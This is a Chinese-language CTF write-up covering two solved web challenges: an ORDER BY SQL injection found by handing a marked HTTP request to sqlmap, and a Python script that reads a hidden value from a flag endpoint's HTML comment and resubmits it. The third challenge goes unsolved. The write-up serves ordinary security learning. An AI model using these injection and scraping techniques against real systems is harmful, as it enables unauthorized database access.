1. order

打开题目，发现URL上面order参数会影响查询结果顺序，直接加*丢入sqlmap

```
GET /?order=name*&button=submit HTTP/1.1
Host: 101.71.29.5:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0)
Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://101.71.29.5:10004/?order=id&button=submit
Cookie: Hm_lvt_d532469474a471feb9f849e2bf8fb4c1=1532150292;
Hm_lpvt_d532469474a471feb9f849e2bf8fb4c1=1532150313
Connection: keep-alive
Upgrade-Insecure-Requests: 1
```

最终在得到flag{666_0rdorby_you_can}

2. 就是这么直接

在index.php 下有 hint.php 的提示。进入得到hint.php的源码如下：

```
<?php
$key = "********";
srand(time());

$a = rand(0,100);
$b = rand(0,100);
$c = rand(0,100);
$d = rand(0,100);
$e = rand(0,100);

$result = ((($a - $b)/$c)+$d) * $e;
$result = md5($key.$result.$key);
show_source(__FILE__);
?>
```

好吧，这题目真简单...还想着哈西扩展咋弄...答案都告诉你了。这题目有点水啊...

```
import re
import requests

r = requests.post(url = 'http://101.71.29.5:10003/flag.php',data = {'answer':'1'*32})
x = r.text
flag  = re.findall(r"<!--(.*?)-->",x)
print(flag[0])
r = requests.post(url = 'http://101.71.29.5:10003/flag.php',data =
{'answer':flag[0]})
print(r.text)
```

WEB 3

WEB 3 没有做出来，据说特别难。在听了直播课后感觉收获很大。

后来周周练的时候，验证码好像被人日了，并且验证码输对了传文件也传不上去。可真是吐血

实在不行，就复现了个csrf flash 的方法。但是自己电脑的flash死活加载不出来。

后来想到了一个非预期解，在之后可以提及一下。但是由于环境坏了，所以也不能证明自己的想法是否正确。

参考连接http://shaobaobaoer.cn/archives/621/%E5%AE%89%E6%81%927%E6%9C%88%E8%B5%9B-web-misc-writeup#i

https://www.obolu.top/2018/07/24/%E5%AE%89%E6%81%92%E6%9D%AF7%E6%9C%88%E8%B5%9Bweb%E7%9A%84writeup/